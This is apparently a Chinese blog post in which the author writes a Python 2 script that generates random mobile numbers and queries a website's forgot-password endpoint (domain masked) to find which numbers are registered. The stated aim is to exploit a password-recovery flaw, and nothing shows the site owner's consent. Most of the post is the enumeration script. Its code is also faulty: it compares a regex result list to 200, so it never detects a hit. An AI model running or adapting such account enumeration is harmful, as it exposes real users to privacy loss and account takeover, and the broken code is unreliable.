python 注册中心_Python学习,检测是否注册某网站

学习中,遇到一个某网站找回密码漏洞。但是需要知道注册用户的手机号,随便测试了几个,都是未注册用户,就想着写个脚本找一找。

说干就干,拿出我还没入门的Python,就开始了操作。先抓包分析一下,未注册过的手机号,点击找回密码,返回的 {"status":1,"msg":"\u8be5\u624b\u673a\u53f7\u4e0d\u5b58\u5728\uff0c\u8bf7\u60a8\u786e\u8ba4\u3002"},如图。

而注册过的手机号返回{"status":200,"readerid":"24425713"}

分析完毕,开启coding模式。

# -*- coding:utf-8 -*-

import requests

import random

import re

# 随机生成手机号码

def createPhone():

prelist = ["130","131","132","133","134","135","136","137","138","139","147","150","151","152","153","155","156","157","158","159","186","187","188"]

phone = random.choice(prelist)+"".join(random.choice("0123456789") for i in range(8))

#print phone

getphone(phone)

def getphone(phone):

url="http://www.xxxxxx.net/register/forgot.php?action=checkMobile&mobile="+"".join(phone)

headers = {

"Host": "www.xxxxxx.net",

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",

"Accept": "application/json, text/javascript, */*; q=0.01",

"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",

"X-Requested-With": "XMLHttpRequest",

"Referer": "http://www.xxxxxx.net/register/forgot.html",

"Cookie": "td_cookie=18446744071072983388"

}

r = requests.get(url,headers = headers)

html = r.text

#print html

staus = re.findall('status":(.*),',html)

#print staus

if(staus == 200):

print phone

for i in range(1000):

createPhone()

i = i +1

网站用xxxxxx.net代替。结果跑了1000个,都是未注册的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值